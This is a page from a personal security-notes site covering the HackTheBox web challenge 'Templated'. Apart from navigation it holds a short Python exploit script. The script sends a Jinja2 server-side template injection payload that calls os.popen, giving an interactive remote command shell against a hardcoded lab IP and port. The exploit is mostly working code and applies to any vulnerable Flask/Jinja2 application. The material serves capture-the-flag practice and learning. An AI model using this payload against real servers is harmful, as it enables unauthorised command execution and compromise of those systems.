fg0x0's notes
Ctrlk
  • 👀Introduction
    • 🏴‍☠️About me
  • 👾offensive-security
    • 🐲OSCP
    • ⛓️OSEP
    • 🕸️OSWE
    • 🌌PG-Practice
  • 🚩Red Team
    • ☢️Active Directory Exploitation
    • 👿Red Teaming Zero to Hero
    • 👿Red Teaming All The Things
    • 🕸️Web Exploitation
    • 💀Binary Exploitation
    • ☠️Exploit Development
  • 🏳️Blue Team
    • 🔍Digital Forensics
    • 🔐Cryptography & Math
    • ⏪Reverse Engineering
  • 🏴‍☠️ctf
    • 🏇Haruul Zangi
    • 🏴‍☠️Other CTF
  • 🧊HackTheBox
    • 🪟Windows Machine
    • 🐧Linux Machine
    • ☠️Other Platform Machines
    • Web Exploitation
      • 👽Flask SSTI
        • Templated
        • baby interdimensional internet
        • 👽baby todo or not todo
        • Slippy ( Jinja2 )
      • Injection
      • 💥Prototype Pollution
      • 😵‍💫insecure deserialization
      • XSS
      • 👾Symfony
      • 👥XXE
      • Ping submit hiideg
      • RCE
      • LFI
      • File Upload
      • URL submit hiideg
      • Invoice ilgeedeg
      • HTTP2 smuggling
    • Forensics
  • 💀Synack Red Team
Powered by GitBook
On this page
  1. 🧊HackTheBox
  2. Web Exploitation
  3. 👽Flask SSTI

Templated

flask, RCE, XSS, Jinja2

LogoTemplated — Hack The Box Technical Write-upMedium
LogoHTB Writeup — TemplatedMedium

exploit script

PreviousFlask SSTINextbaby interdimensional internet

Last updated 1 year ago

import requests
import re

url = "http://178.128.45.143:32008/"

while True:
    cmd = input(" $ ")
    r = requests.get(url + "{{request.application.__globals__.__builtins__.__import__('os').popen('" + cmd + "').read()}}")
    text = r.text
    output = re.findall("<str>(.*?)</str>", text, re.DOTALL)
    if (len(output) > 0):
        print(output[0])